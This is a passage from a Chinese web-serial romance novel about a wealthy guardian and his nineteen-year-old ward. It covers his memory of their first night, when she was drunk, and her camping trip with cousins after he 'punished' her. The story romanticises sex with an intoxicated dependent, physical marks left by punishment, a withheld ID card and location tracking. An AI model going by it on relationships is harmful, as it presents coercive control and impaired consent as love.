因为沈长凛清楚地明白,他家里的这个小孩子,仅仅是将他视作长辈。
她对他尊崇敬重,将他当做世上最信赖的人,从未有过半分邪念,最惧怕的事就是给他添麻烦,最快乐的事是让他高兴。
谢沅是那么天真,那么懵懂。
沈长凛甚至想过最坏的结果,就是送她嫁人,嫁到秦家,然后再养她一辈子。
可是那个混乱的夜晚来了。
是圣诞节前后。
沈宴白放假,从国外飞回来,哥哥很久没有回国,谢沅很想他,总是在数着日子,算他何时能回来。
她是个很单纯的小孩子。
沈宴白很不喜欢她,对她从来没个好脸色,说话也时常很尖锐。
可谢沅总还是很渴望得到他的包容,她就是那样的性子,旁人对她好一分,她就要还十分才成,旁人不喜欢她,她也只会反思是不是自己做错了什么。
总之,那时候她很盼着沈宴白回来。
但沈宴白只在家里待了两天左右,便要带着女友去滨城,他不喜欢跟谢沅待在一起,肺病又有点复起之兆,索性就没再家里多待。
沈长凛是知道的,也没有多管。
沈宴白在家里待得久了,肯定是要惹到谢沅的,他说话难听又尖锐,她难过了也不会讲出来,独自偷偷地哭。
临走的那一天,沈宴白将女友带到了家里。
姓谁名谁,长什么样子,沈长凛早就一点印象都没了。
唯独记得的,是那天他们在家里接吻了,因为是圣诞节,有在槲寄生下接吻的传统。
沈长凛自小就长在国外。
他没有信仰,对宗教也没什么兴致,但家里是什么节日都过的,不是为了其他,只是想让那个沉默寡言的小孩能多些参与感,能够高兴点。
她布置圣诞树的时候很上心,每一个小灯笼都是亲手挂上去的。
沈长凛的判断标准向来简单,谢沅高兴,那么这个节日就是有意义的。
她那天睡迷糊了,刚下楼就撞见两人在接吻,沈宴白女友换得勤,带到家里的那些,她总会撞见一两次拥抱或是接吻。
沈长凛之前不允他这样。
谢沅还小,沈宴白作风乱,要是将小女孩也带歪就麻烦了。
后来沈长凛就懒得管沈宴白了,比起被带歪,他更怕谢沅不开窍。
明明是沈宴白在客厅接吻,但被谢沅撞见后,不高兴的却是他,他冷声说道:“滚。”
她那么脆弱,那么娇柔,那么不经风雨。
可沈宴白总是那个样子,沈长凛闻讯时难得动怒,沈宴白低眉敛目,说道:“是我的错,叔叔,等回去我会跟她道歉的。”
圣诞节前后事情多。
沈宴白晚上就直接飞了滨城,谢沅也要去参加宴席。
她胆子小,对大场合一直不适应,但出席得太多,渐渐也懂了些东西。
那天谢沅的状态不太好,还不小心把白酒当成饮料喝了,因为是女孩子,从来没有想过叫她应酬什么的,所以她根本就没喝过酒,也不会喝酒。
助理很紧张,拨电话说她不太舒服。
晚上沈长凛刚好在附近谈事情,处理完后顺路去接谢沅,她的脸庞潮红,眼眸也是迷离的。
第一次喝酒,就晕成了这样。
沈长凛有些无奈,从助理手里接过谢沅,然后将她给抱上车。
她攀着他的脖颈,上车后也没松开。
其实那时他就应当感觉到问题的,但温香软玉在怀,还是平时总不太敢接近自己的小孩子,谁能忍得住在这时将她推开?
谢沅喝醉了酒,思绪也全都乱掉了。
她不知道为什么,突然开始掉眼泪,沈长凛用纸巾轻拭过她的眼尾,低声哄道:“不哭了,沅沅,叔叔在这里。”
小孩子哭的时候,是不经哄的。
越哄她就只会哭得更厉害,可那时候沈长凛也不懂,他只希望谢沅能高兴些。
谢沅的眼泪越掉越凶,她紧紧地环住他的脖颈,哭腔破碎:“你可不可以,不那么讨厌我?”
沈长凛愣住了,他知道谢沅有忧虑也总藏在心里,却不知道她竟然会这么想。
是之前刻意冷着她,叫她难过了吗?
他低下眼帘,轻声说道:“我不讨厌你,沅沅。”
“别哭,沅沅。”沈长凛声音微哑,“我只是……”
他这辈子大概从来没有这样的时刻,一句话卡在半途,余下的半句讲不下去。
谢沅却不知怎的,哭得更厉害了,她的手指收紧又垂落,眼尾也是湿红一片,她的水眸很漂亮,也很澄澈。
沈长凛看了她片刻,轻帮她将眼泪擦去。
一切的变故发生在那个吻落下来的时候。
蜻蜓点水般,轻落在眼皮上,柔得像是随风拂过脸庞的花瓣,如若青梦般了无痕迹。
谢沅的声音也是柔的,带着哭腔,轻柔到稍不留神就会错过:“我以后、以后不喜欢你了,你可以少讨厌我一点吗?”
可沈长凛离她太近,听到了她言说的每一个字。
第47章
谢沅说喜欢。
他的沅沅在说喜欢。
最澎湃的年岁,沈长凛的血脉里也存着冷意,他对情感天生淡漠,连旖旎的幻想都从来没有过。
可是在谢沅攀上他的脖颈,言说爱语的这个瞬间,沈长凛感受到了如山洪般倾泻的情感。
他的薄唇紧抿着,声音也发哑:“我没有讨厌你,沅沅。”
沈长凛低眼看向谢沅,将她的腰身揽得更紧:“叔叔从来都不讨厌你,沅沅。”
他那时候一定像极了少年人,迟疑,犹豫,言辞斟酌。
应该说更多的,但不知怎的,话语都到了唇边,却还是没能立刻说出来。
心脏的跳动是怪异的,胸腔里涌动的情绪也是陌生的,春心于霎时燎原,燃烧了二十余年的荒芜。
谢沅的眼眸里都是泪水。
那些压在心底的委屈情绪,像是在那个瞬间全都要满溢出来。
而除了委屈,余下的全部都是爱意,压抑多时的情感不受控地从那双水眸里流淌出来。
谢沅带着哭腔,声音破碎:“我……我爱您啊。”
她率先将爱语说出来了,也率先将那道德的山岳给推倒。
某个瞬间,沈长凛的情绪几乎不能受控,原本以为对自己没有感情的小孩子,其实一直在隐忍爱意,只有在喝得意识迷乱时,才敢将情绪流露少许。
沈长凛在国外多年,依旧不信仰上帝,对圣诞节也没什么感情。
可是在这个夜晚,连他也不得不承认,或许真的是有什么奇迹在眷顾。
谢沅的内心世界很封闭,她习惯将事情都藏在心中,尤其是受了委屈的时候,谁也不肯多说。
默默地仰慕他这么久,这段时间却一直被他有意避着、疏离对待,她该有多难过。
沈长凛揽过谢沅,将她换了个姿势抱起。
他的声音很低,神情仿佛还很平静:“叔叔也爱你,沅沅。”
唯有沈长凛知道,他现在的心绪到底有多乱。
他生来就是万人之上,想要什么东西,不用言说,都有的是人会提前将之奉上,唯独在谢沅的身上,他尝到了寤寐思服的滋味。
眼下突然知悉心心念念的孩子,也是同样地倾慕他。
即便是沈长凛,思绪也有紊乱的时刻,他完全没能去想,事情的另一种可能。
谢沅的世界实在太小了,她读中学时就过着两点一线的生活,读大学后生活更加枯燥沉闷,在家的时间比在学校都长。
她花了大量的时间在那些厚重的哲学原典上,人际比高中时还要更简单。
沈长凛对谢沅身边的人了如指掌。
她住在家里,和同学们都不太熟,圈子里的人,也就跟霍阳等人走得近些。
霍阳跟沈宴白是朋友,一直将谢沅当妹妹逗弄,为人虽然风流,却从不敢将主意打到谢沅身上。
除此之外,就没什么人了。
只有沈长凛自己,是和谢沅朝夕相处的,而他也是她生命中的这些人里,最高不可攀的一位。
他很能理解谢沅对情感的隐忍,在那时他只想怜着谢沅,好好地呵护她。
但那个夜晚实在是太乱了。
谢沅酒喝得不多,醉得却实在厉害,她紧紧地攀上沈长凛的脖颈,跨坐在他的腿上,生涩地吻他的唇。
她的吻技很差,毫无章法。
沈长凛从没何人亲密过,也同样能感受到谢沅的青涩。
她根本就不会接吻,更遑论是其他。
如玉般的指节撩起裙摆,露出纤白的长腿,被本能支配着环上男人的腰肢。
谢沅什么也不会,什么也不懂,她只会撩动火焰,试探旁人的情绪底线。
还没二十岁的小姑娘,像是从水里捞出来的白色花朵,无论何处都是嫩生生的,她懵懂地进行着蛊惑,眼眸里水意摇晃,声声都是可怜的乞求。
沈长凛已经想她有一段时间,却还是没想过现在就走到最后一步。
因为是圣诞节前后,外面有烟火的声音。
他扣住谢沅的腰身,声音哑得不像话:“不行,沅沅。”
可是往日顺从娇柔的小孩子,却展现出了从未有过的任性,她低声哭着掉眼泪,楚楚可怜地说道:“您不能疼疼我吗?”
谢沅太小,也太天真,她不懂那句话是什么意思。
或许只是在网路上偶然窥见,才会在迷乱时说出失检之语。
沈长凛的容色却冷了下来。
他掐着谢沅的下颌,低声问她:“谁教你说这样话的,沅沅?”
她平时是个很乖顺的孩子,但在这时候总会格外任性,她哭着说道:“你不疼我,我就找别人去……”
谢沅就这么一个手段。
可这个手段偏偏每回都有用。
夜晚混乱得没有边际,天色将亮的时候,谢沅才睡过去。
沈长凛却是一整夜都没阖眼。
他站在落地窗边抽烟,思绪从几十余年前的旧事开始流转,想谢沅祖父当年对秦老先生的旧恩,想他将谢沅从医院接回来的那个下午,想方才谢沅哭着求他时内心的残忍欲念。
最后是想他和谢沅的未来。
跟秦承月的联姻是绝对不能再继续了,等年前他就想将这桩事给解决掉。
他们两个相识多年,也算是青梅竹马,这一两年的相处尤为多,还常常一起出去用餐、听音乐会。
但或许是因为实在没缘分,竟是对彼此丝毫感情也没生出来。
然后就是他们自己的事。
谢沅马上就要满二十岁,在法律上已经可以结婚了,要先将结婚证领了吗?
她那么小,嘴上说喜欢他,心底未必那般坚定,指不定见到花花世界后,就有了别的想法。
早些领证也是可以的。
沈长凛想了一整晚,也没有分毫的倦意,长夜将尽时,他抬起眼帘看向落地窗外,突然发现今天好像是十五、十六。
月色格外圆满-
可是后来的事却那么讽刺。
沈长凛将思绪从往事中抽离出来,他没再多想,将昏过去的谢沅给抱进薄被中。
她很经不起折腾,更不要说是被审讯似的逼问。
谢沅哭了一整晚,眼尾现在还是湿红的,长睫也湿成了一缕一缕的,在眼睑处落下层浅色的阴影。
显得既脆弱又瑰丽。
沈长凛在谢沅身边待了很久,她身子弱,有时弄得太过会发热,尤其是在晚上。
她前不久前才发过高热,不能再接二连三地生病了。
临到天明时,沈长凛方才离开,他和设计师通了电话,声音很轻:“戒指的事,先不用着急了。”
他事情繁忙,最近的行程又满,能够在昨天陪谢沅一天,就已经是极限了。
沈长凛走后很久,谢沅方才醒过来,卧室拉上的帘子是最厚重的那一层,已经快到正午,室内还是昏黑的,暗光都照不进来。
她睡前思绪就是乱的,睡醒之后更加纷乱。
谢沅的眼眸红肿,她抬起眼睫时就能感觉到,可这会儿她连用冰敷一敷的心思都没有。
她慢慢地坐起身,眼眸低垂着,看向腕间被上过药的细微红痕,指节颤着抚上已经消退的肿痕,思绪比第一回和沈长凛共枕还要更乱。
这世上谢沅最怕的就是沈长凛生气。
在初在一起时,她就竭力去揣摩他的心思。
做不好解语花没关系,至少她可以不让叔叔不高兴。
然而事与愿违,过去这么久,谢沅总还会在不经意间惹到沈长凛,碰到他的逆鳞。
谢沅很迟钝,但她也明白,叔叔是不喜欢她跟别的男人有过多接触的。
可她不止跟沈宴白单独出去用完餐,还故意地说了谎话,叔叔会生气也是应该的。
那晚的事太过荒唐,谢沅又无论如何也不敢告诉沈长凛。
她这样平凡普通,天之骄子的沈宴白怎么可能会看得上眼她?尤其是他一直以来,是那么厌烦她。
一个是向来关照的亲侄子,一个是寄养在家里的女孩子。
前者虽然风流,但是底线明确,后者看似乖顺,却在暗里荡媚。
任谁都知道该相信哪个。
谢沅心里一团乱麻,掌心里的冷汗也越发黏腻。
她很想去沐浴,这时卧室里的电话却突然响起。
是姑姑沈蓉。
电话一拨通,沈蓉的笑音就传了过来,她蔼声说道:“沅沅,最近日子过得还忙吗?”
谢沅去了瀛洲多日,这几天也没出门,一晃眼已经二十天没和旁人打过交道了。
就是前不久,接待了一下江夫人。
她将落地窗边的帘子打开,日光照了进来,有些刺目,但她的掌心还是有些冰凉。
谢沅温声细语:“最近没什么事,姑姑。”
她不善言辞,可跟姑姑沈蓉通话,这是最不须要计较的。
沈蓉妙语连珠,只要她想跟人讲话,无论多久都能很自然地讲下去,她笑着说道:“沅沅好久不过来,你表哥表姐都很想你。”
她继续说道:“最近他们打算出去露营,思瑜让我帮着问问,你有空闲吗?”
谢沅愣了一下。
她每年会去瀛洲陪秦老先生,顺道也算作避暑。
温思瑜和家里的亲人、圈子里的朋友,夏天时也常四海八方地游玩,她跟着去过,虽然不太合群,但有温思瑜照顾着,也没出过什么乱子。
谢沅遇事时,第一反应总是逃避。
她原本还在想,家里的事要怎样处理,没想到突然就有了转圜。
见谢沅稍作沉默,沈蓉连声又说道:“也不远,就在燕郊这边,东西也都早准备好了,虽然说是露营,但附近就有思瑜她爸爸名下的别墅,不会累着的。”
她补充道:“你们之前也去过,就在天行山那边,还记得吗?”
“我记得的,”谢沅低着眸子,“我也有空闲的,姑姑。”
沈蓉笑着说道:“那可太好了,思瑜好久没见你,想你想的不得了,方才还在跟我念叨呢。”
她又言说了片刻,然后才挂断电话。
落地窗外是一片青绿,谢沅凝眸看了许久,然后轻轻地敲键盘,跟李特助发消息。
沈长凛忙,她昨天还犯了错,这会儿也不敢扰他。
李特助回消息很快,他以前照顾过谢沅一段,也经常帮沈长凛处理类似的事。
跟他发完消息,温思瑜的电话也很快过来了,她像是还在外面,听筒里传来少许风声:“怎么样,沅沅?舅舅同意了吗?”
她是明艳张扬的大小姐,做事也向来随心所欲。
这边谢沅刚一说沈长凛同意,温思瑜就立刻说道:“你收拾一下行李吧,带几件衣服就行,别的这边都有,我晚点就开车来接你。”
谢沅眼眸睁大,全然没想到她会这么快。
不过眼下在家里待得越久,只会越麻烦,谢沅一点也不想再撞见沈宴白了,他事情也忙,但到底是比沈长凛要有空余得多。
她抿了抿唇,挂断电话后就去收拾小行李箱。
昨夜折腾得太过,谢沅身上还有些疼,喉咙也微微肿着,蹲下时柔膝上的红痕更是痛得厉害。
可她还是很快地将东西收整好,然后就准备出门。
叔叔昨天那样生气,应当也不想见到她,等过几日他气消了回来,说不定也更好解释。
虽然谢沅也没想好她这回要编什么借口。
床头柜上还摆着芬芳馥郁的新花,沈长凛走时帮她换过水了,花朵秾丽秀艳,好看到让人移不开眼。
谢沅失神地看了良久,温思瑜的电话打过来时,她方才回神下楼。
阿姨吓了一跳,还以为谢沅和沈长凛闹了别扭,要离家出走。
她的身份证都不在自己手里。
就是想离家出走,也要有条件才成。
谢沅不好意思地作解释,脸庞也有些红:“是思瑜姐姐邀我去露营,叔叔也已经同意了,过两天就回来。”
她话音刚落,就听见了跑车的引擎声在作响。
温思瑜一身黑色皮衣,带着墨镜,大波浪的长发散在身后,眉眼间都带着明艳。
她笑着跟管家和阿姨打了个招呼,然后就直接拉过谢沅的小行李箱。
温思瑜一手牵着谢沅,一手拉着她的小行李箱,笑着说道:“沅沅我先带走了,晚些再还回来。”
她有段时间没见谢沅,谢沅也有段时间没见她。
谢沅低喘着气,细声说道:“思瑜、思瑜姐姐,你慢点。”
她穿着白色吊带裙,颈间带着一条黑色项链,腿间深黑的细环隐约可见,瞧着既纯真,又带着欲气。
温思瑜看了一眼,收回视线。
“再不快点,撞见你哥哥怎么办?”她点了点谢沅额头,“他那脾气,肯定要跟我作对。”
温思瑜一提沈宴白,谢沅也很快明白过来,她说为什么温思瑜要这样急呢?
沈宴白一直不喜欢谢沅跟温家多接触,之前温思瑜出车祸,谢沅去看她也被他给训斥了一顿。
但比起现在眼神充斥恶欲的兄长,她倒是更加怀念沈宴白之前的样子。
谢沅抿了抿唇,轻轻点头:“我知道,思瑜姐姐。”-
露营的地方就在燕郊,旁边还有别墅,中途睡到一半想进去也是无妨的。
不过在山中露营的感觉,比在别墅的柔软大床上要好得多。
这次一起来玩的人很多,除了温家的表哥表姐,还有常陪在温思瑜身边玩的朋友,他们认得谢沅,也时常一起作陪,最擅长的就是热闹气氛。
谢沅换了凉鞋,跟着众人去溪边踩水。
燕城八月多份还是燥热,山间的温度要低很多,溪边更是凉爽。
谢沅的裙摆并不长,但为了防止被弄湿,还是卷起来了少许,嫩白的腿根露出来,在树荫下白得晃眼。
溪水里是有鱼的,可以直接捉,也可以钓上来。
鱼是黑色的,游得很快。
平时温和贵公子模样的温怀瑾却动作利落,直接将那咬钩的游鱼给钓了上来,肥肥的一条大鱼,煲成鱼汤不知道有多鲜美,众人都忍不住地惊呼。
谢沅也抬眸看了过去。
她的目光空灵,比干净至极的溪水还要更加清澈。
隔着人群,温怀瑾一下子就和谢沅对上了视线,她像是在发呆,微微地走神,被他看过来后,方才从失神的状态里挣脱。
她有点不好意思,朝他浅浅地笑了一下。
白裙子很好看,也很衬她,就是有些太短了。
温家的男人玩的花,得亏今次的人是认真选定,不然所有人的目光都要往谢沅身上望去。
也就是她那样迟钝的人,才会觉察不出来。
温怀瑾也淡笑了一下,很快便有专人将鱼接了过去,帮着处理。
少爷小姐们出来玩,就是野营,也吃不到什么苦头,随行的人实在太多,时刻都等着奉命。
只有谢沅这样常被关在家里的,才会看什么都充满新奇。
温怀瑾从钓台边离开后,去了谢沅身边,他含着笑意,温声问道:“好久不见,沅沅表妹最近过得如何?”
他上回帮她处理了秦承月的事,谢沅心里还很感激。
“还可以,表哥。”她轻声说道,“您呢?”
谢沅是真的很不会跟人谈话,温怀瑾忍不住笑了一声,他慢声说道:“我啊?也还可以吧,没做什么事,也没什么烦心的,总之就是还成。”
他们过来的时候,是下午两三点。
现在天色已经渐渐变黑,倦鸟归巢,树林里也寂静下来。
温怀瑾的声音很温和,谢沅却禁不住地想起沈长凛,想起昨天跟他一起在海上开游艇,想起用完午餐后他轻轻帮她擦净唇角。
她也不知道为什么。
但是在这个时候,她就是突然地想起了沈长凛。
要是哥哥没有那样就好了,谢沅忍不住地想到,叔叔不会生气,事情也不会变成这样。
她出来本是想散心想逃避,可在外面待得越久,思绪也就越乱。
温怀瑾将手放在她的眼前晃了晃,谢沅才回过神来,她抬起眼眸,抱歉地看向温怀瑾:“抱歉,表哥,我没听清您刚才在说什么。”
“没事,”温怀瑾笑了一下,“我就想问你和承月的事怎么样了。”
还能怎样呢?自然是没有任何后续了。
谢沅低下眼眸,轻声说道:“没怎样了,表哥,叔叔觉得我们不太合适,不过之前的事,还是麻烦您了。”
她抬起眼帘,夜色已深,她眸里的水光像极了微弱的星子。
温怀瑾声音温柔,安慰地说道:“这种事的确要看缘分的,要是两人不投缘,硬生生绑在一起也很难幸福。”
他像个宽和的兄长,客气有礼,又体贴照怀。
谢沅很怕生,也很怕异性,唯独不怕的是温柔的男人。
她的樱唇微抿,声音也很轻:“您说得是。”
时候已经不早,温怀瑾带着谢沅往营帐处走,她这才发现,他们两人落了单,众人都已经准备用晚餐了。
她心里有些说不出的异样。
但温怀瑾的神情淡然平和,谢沅也想不出哪里不对,只是步子下意识地加快少许。
真是奇怪。
怀瑾表哥是那么温柔、没脾气的人,她为什么会有些怕呢?-
沈长凛回到家时,已经将近十一点,他一整天都在外面,最近很忙,要处理的事情也多得数不清。
刚签完一份合同,就要去谈另一件事情,连在车上时都在开跨国会议。
沈长凛连消息都没看。
不过不用想也知道,谢沅肯定是不会给他发消息的。
她胆子很小,每次被沈长凛罚后,都会有段时间不敢跟他发消息、通电话。
想到昨晚的事,沈长凛的容色仍是有些冷,他是真的想不明白谢沅是怎么想的,跟沈宴白单独出去就算了,还意欲藏着瞒着。
连沈宴白都没有遮掩,她却偏不肯说。
谢沅是不认得欲盖弥彰四个字吗?
但想到她那双哭肿了的眼眸,沈长凛的容色到底缓和下来。
谢沅应当也不是故意的,她反应慢,他昨天逼得又那么紧,她害怕得厉害,一时之间兴许才乱了阵脚。
左右沈宴白也掀不起什么波浪。
人都已经养在身边大半年了,应该对她多些信任的。
小孩子经不起吓,也经不起罚,别是在家里又偷偷哭了一天就成。
沈长凛走上楼,用指纹解锁谢沅的房门,轻轻推开,却发现她并不在,不在卧室,不在起居室,也不在露台。
他额侧的穴位突突地跳,直接将管家叫了过来:“谢沅呢?”
管家微怔,应道:“小姐和温小姐去露营了,言说是您同意的。”
沈长凛心底的暗怒一下子就上来了,他怎么不知道,他是何时同意的?
他的容色越来越冷,然后在消息栏的末尾,看到李特助发来的消息:【沈总,小姐和温家大小姐去露营了,这是定位和随行人员,您看还须要让其他人跟过去吗?】
第48章
谢沅有段时间没有出来野外。
之前在瀛洲时,她整日都跟着霍阳玩,瀛洲是避暑圣地,各项设施建设很齐全,比在燕城生活还要更舒服。
哪怕是出海,在很近的地方也有星级酒店。
天行山这边虽然也有温家的别墅,却到底原生态得多。
夜色降临后,营地点了灯,还燃了火把。
谢沅撑着下颌,盘腿坐在小垫子上,很多食材都是处理好的,但她还是兴致盎然地看了好久。
温思瑜去跟人喝酒了,把谢沅托付给温怀瑾。
他不仅会钓鱼,烤鱼的技术也很好。
谢沅睁大眼眸,从温怀瑾手里接过那支涂满酱料的烤鱼,轻轻咬下第一口后,长睫瞬时就抬了起来。
水眸里闪着星子般的光芒,亮亮的。
“好吃的,表哥。”她弯起眉眼,柔声说道。
这边都不喝酒,温怀瑾把一旁的果汁端过来,顺手递给谢沅:“慢点吃,小心烫。”
谢沅一边咬着鱼肉,一边饮着果汁,她吃得用心,连话都要顾不及说。
温家的表姐被他俩这幅模样给逗乐了,笑得前俯后仰。
“那话说得还真不错,”她笑着说道,“要想抓住一个女人的心,就要先抓住她的胃。”
谢沅的脸庞微红,下意识地说道:“是表哥的厨艺太厉害了。”
她说这话时,想到的却是沈长凛。
沈长凛矜贵淡漠,不染人间烟火,谢沅从来没有见过他洗手作羹汤。
他少时是顶级豪门的贵公子,二十岁出头就做了秦沈两家的家主,好像也没有什么可能会接触餐点。
谢沅每天要吃什么,也全是营养师和阿姨们定的。
沈长凛并不会管太多,只是不许她挑食。
谢沅不仅迟钝,还很容易走神,看她这幅神情,温家表姐就觉察到,她全然没听懂方才的那句话语。
温家表姐脸上的笑意更甚,看向温怀瑾的目光也多了些调侃。
温怀瑾依然温和地笑着,他轻声说道:“既然喜欢,那就多用一些吧。”
谢沅执着叉子,柔声说道:“好,谢谢表哥。”
肉片被煎至嫩黄,喷香扑鼻,蘸料略微有些甜,她却吃得很高兴。
谢沅在家里时,沈长凛不允她吃太多烤肉,怕她上火,也就每回出去时,才能多用点。
小冰箱里还有果茶和奶茶,她拿了一大杯奶茶,吃完烤肉后就开始喝。
先前还沉闷着的心情,越来越好。
谢沅渐渐明白,为什么沈宴白之前长假总爱出去了。
晚上露营比在白天还要更有意思,天行山是燕城很郊区的地方,都快要出市到隔壁省了,所以这边的空气质量格外好。
天上的群星璀璨,不用望远镜都能看得分明。
谢沅仰着头,和温家的表哥表姐们一起看了好久,有个表姐是学天文的,还带着他们看星座。
不过夜色越深,温度也越低。
山里的夜晚是很冷的。
谢沅看了一会儿,觉得有些凉,但她坐在人群中央,现在过去拿外套也不太好。
就在她迟疑时,温怀瑾将外衣给她递了过去:“是不是有点冷了?”
不说霍阳、沈宴白那样桀骜的太子爷,就是像寻常的公子哥里,也鲜少有如温怀瑾这般温和又平易近人的。
他一点也不像温家的少爷,反倒像是一位邻家兄长。
晚间时那股意外升起的怪异越降越低,谢沅抬起眼眸,笑着说道:“谢谢怀瑾表哥。”
她是个性子内敛的人,话也不多。
最近却是开朗了不少,也不知道遇到什么事了。
温怀瑾的唇边挂着淡笑,轻声说道:“没事。”
时间过去得很快,没多时就快要十一点,谢沅手机没带在身边,听人说才知道已经玩了这么久。
帐篷早已搭好,她很新奇地走进去。
谢沅好久没有出来野营过,都快要忘记那是一种怎样的体验。
燕城的中学很重视素质教育,每年都会有各种活动,但第一回去郊游就跌伤的经历太惨痛了。
后来几回外出活动,谢沅再没有参加过。
她坐在帐篷里小巧的软沙发上,将发圈解下,长长的乌发垂落。
谢沅舒服地伸了个懒腰,然后在帐篷里休息了片刻,正当她想要拿过手机看时间时,忽然听到了滴滴答答的雨声。
温思瑜撑着伞过来,朝她说道:“待会儿要下暴雨了,沅沅,咱们得回别墅了。”
现在已经是八月下旬,但到底还是夏天。
暴雨说下就下。
谢沅一听,瞬间也慌了,在山上遇到大雨有多吓人,她是知道的。
她拿着手机,连头发都没束,就立刻起身跟着温思瑜走。
他们露营的地方离温家的别墅很近,其实这别墅是后来修的,为的就是防范万一,没成想今次竟然真的派上用场了。
山间的风凛冽,谢沅的发丝被吹乱。
谢沅被温思瑜紧紧牵着手,一路随着她快步走过去。
走进别墅后,温思瑜立刻就用厚毯将谢沅裹了起来,她抱歉地说道:“早先看过天气预报,说是三天后才有雨,没有想到来得这么突然,你没吓着吧?”
谢沅被裹得很紧,热意熏染,原本乱着的心弦也渐渐平复下来。
“我没事,思瑜姐姐。”她细声说道-
众人刚刚到别墅不久,外面的暴雨就彻底落了下来,接天的雨幕将天地都渲染成一体,山林间的青绿在夜里也浓郁成深黑。
隔着落地窗往外看,颇有些奇美。
雷光如尖刀般刺透夜空,将那深紫色的天穹都要穿破,滚动的雷声也如霹雳般落下。
谢沅站在窗边,仰头看了好久。
山里真是神奇,刚刚还是能看清楚星子的晴夜,一转眼就开始下这么大的雨。
有侍者送来了热的果饮和甜点,谢沅原本是想着睡觉的,用了些小食后又不困倦了。
毕竟是难得进山一回。
温思瑜累了一天,又喝了不少酒,实在玩不动,低声跟谢沅嘱咐过后就去睡了:“别跟着他们闹得太晚,尽量早点睡。”
谢沅很乖地点头。
都是年轻人,聚在一起能玩的可太多了。
将大灯关掉后,众人围成圈就开始畅聊,谢沅裹着小毯子,坐在柔软的地毯上,认真地听故事。
一起的大多数是温家的表哥、表姐。
圈子里的权贵多,但如温家这样海外背景浓厚的其实并不多,其实温家有满族的血统,该算是前朝勋贵。
可温家人在很早之前就出国留洋,这几十年主支才回来。
温思瑜的父亲温先生也是在国外待了很多年,跨国企业开得兴旺,近来才算是衣锦还乡。
这就让温家和燕城的诸多权贵有了区分。
沈家可以背靠秦家,温家却是不可以的,温思瑜和秦承月的事,也是因此决计不能成。
而落在外在表现上就是温家的表哥、表姐要格外热情、散漫,别家的二世祖或许还会在长辈面前装上一装,温家却是不用。
他们会的花样很多。
有那种很简单的牌,谢沅也参与进去,玩了几轮,输了要在脸上贴纸条。
她刚开始不太熟悉,后来也慢慢地适应。
可惩罚也在逐渐加码。
加码后的第一轮,谢沅就惨为败者一方,第一次的惩罚并不是太狠,就是要抽卡回答问题。
别墅里有很小的测谎仪,是之前举办派对留下的。
谢沅将一只手放上去,然后另一只手从一堆卡牌里面开始抽。
她还没有玩过这么狠的,一旁的温怀瑾看她紧张到额前出汗,忍不住地笑她:“别怕,沅沅表妹,你们在学校没玩过真心话大冒险吗?这是一样的。”
这哪里能一样?
谢沅玩过再刺激的游戏,也没有要用到测谎仪的。
她眼眸里含着水汽,在看到那卡牌内容时更是眼前发黑。
【第一次接吻的时间和地点。】
围观的众人看到这一张卡牌也神色微变,谢沅这样懵懂的小姑娘,未必和人接过吻吧?
不过要是真接过吻的话,好像也只有那么一位对象。
众人对视一眼,幸好温思瑜不在。
“去年冬天,”谢沅抿了抿唇,声音微颤,“在车里接的吻。”
测谎仪闪烁的是绿色的光芒,意味着真话。
有人的脸色却是变了再变,秦承月和温思瑜也是去年在一起的,承月哥看着矜傲禁欲,怎么背里对小女孩这样?
温怀瑾也抬起眼帘,向谢沅看了过去。
谢沅一点也不想再回忆之前的事,旧事仅仅是叩响心弦少许,她就觉得神情要遮掩不住。
她低下眼眸,补充地说道:“我当时喝醉了。”
谢沅羞得厉害,连话都要说不下去,温怀瑾在她身边坐着,温思瑜又早早放话,没有人敢为难她。
很快卡牌就抽到下一个人手里。
这加码加得也太狠了,谢沅有点怕,担心抽到更没法说的。
温怀瑾勾起唇角,朝侍者要了一碟小蛋糕,推到谢沅的跟前:“下轮跟我一起,保你稳赢。”
他语气很平和,但就是会让人想要相信。
谢沅也觉得现在走有些不太礼貌,她硬撑着继续往下玩,却不想真的开始一路长虹。
她又有了兴趣,吃着小蛋糕,竖起小耳朵,好奇地开始听八卦。
谢沅的世界实在是太单一乏味了。
沈长凛将她管得很严,那些纷杂的事是没法入她耳的。
就连沈家和秦家的旧事,好多都是谢沅在网路上偶然翻到的。
中途温怀瑾去接电话。
一轮牌已经打到大半,温怀瑾看向谢沅,笑着问道:“你能行吗?”
加码越来越重,已经到了类似大冒险的阶段。
谢沅看着手里的牌,玩了太多局,向来内敛的姑娘也有了自信,她抿了抿唇,悄声说道:“应该没问题。”
温怀瑾接起电话,跟她比了个OK的手势。
谢沅很自信,然后自信地全盘尽输。
另一方的表哥笑得要肚子疼,全靠手臂撑着,才没有歪了身子:“笑死我了,刚刚看沅沅的表情,我还以为这局输定了。”
谢沅羞得脸庞通红。
新的卡都是任务牌,她脸皮很薄,很怕抽中唱歌跳舞之类的卡牌。
当看到打电话几个字时,谢沅深深地松了口气,她通讯录里的人很少,而且都是认识的。
他们知道她在玩,应该不会如何。
【给最近联系人打电话,并说出:我想你了。】
谢沅今晚都没看手机,开始玩后更是放在了别处,她滑开屏幕,心想最近通话的人应该是温思瑜。
但点开通话记录,看见最上面的【沈长凛】三个字时,她瞬时就愣住了。
那是一条未接来电,在十一点打过来的。
所以最近的联系人成了沈长凛。
谢沅是想避着他,方才出来的,连消息都没跟他发,虽然她不是有意的,可是叔叔要是忙碌了一天,回到家才发觉她不在,应当会不高兴的。
他才给她送过天价的游艇,转眼她就因为一点小事闹脾气离开。
好像确实不太好……
谢沅迟疑了片刻,忽然有些想回去了,但是外面还在下大雨,车都不好开出去。
更麻烦的是手边的这个电话,到底打还是不打?
谢沅犹豫良久,众人已经开始好奇,起哄道:“是不是哪家的哥哥呀,沅沅?”
她脸庞泛红,摇着头说道:“不是。”
众人都在盯着,谢沅有点没办法了,不过还好最近的联系人是沈长凛,要是旁人才是真的麻烦呢。
她可以说得快一点,然后说完就挂掉。
等结束了再给沈长凛打过去,将事情解释清楚,再把这两天的错好好认一认,他应该就不会太生气了。
虽然谢沅总是不好意思说,但她能感觉到,叔叔是喜欢听这种话的。
她点亮屏幕,最终还是在众人的瞩目下拨通了电话。
另一端很快就接通了,谢沅竭尽全力,鼓起勇气说道:“我想您了。”
说完她就想挂断,但沈长凛已经接起来了。
因为隔着听筒,免提的声音开得也不高,他轻柔的声音有些失真:“在山里待得不舒服吗?这会儿想起我来了。”
男人的声音很好听,甚至有些过分的好听了。
外面还在下暴雨,雷声滚动,可谢沅的耳尖还是很快就红了。
她没有叔叔想得那样娇气。
但沈长凛继续又说道:“把定位发过来,我让人去接你。”
